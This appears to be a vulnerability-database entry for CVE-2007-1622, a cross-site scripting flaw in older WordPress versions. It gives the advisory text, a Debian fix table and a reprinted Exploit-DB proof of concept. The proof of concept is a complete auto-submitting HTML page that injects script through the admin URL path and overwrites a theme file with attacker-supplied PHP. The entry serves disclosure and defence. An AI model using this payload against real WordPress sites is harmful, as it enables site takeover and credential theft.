CVE-2007-1622
Description
Cross-site scripting (XSS) vulnerability in wp-admin/vars.php in WordPress before 2.0.10 RC2, and before 2.1.3 RC2 in the 2.1 series, allows remote authenticated users with theme privileges to inject arbitrary web script or HTML via the PATH_INFO in the administration interface, related to loose regular expression processing of PHP_SELF.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting
source: https://www.securityfocus.com/bid/23027/info
WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Wordpress XSS PoC</title>
</head>
<body id="main">
<form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
<p>
<textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
</p>
<p>
<input type="hidden" name="action" value="update" />
<input type="hidden" name="file" value="wp-content/themes/default/index.php" />
</p>
</form>
<script type="text/javascript">
// <![CDATA[
document.forms[0].submit();
// ]]>
</script>
</body>
</html>OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.1.3-1 |
| sid | Fixed | 2.1.3-1 |
| forky | Fixed | 2.1.3-1 |
| bullseye | Fixed | 2.1.3-1 |
| bookworm | Fixed | 2.1.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.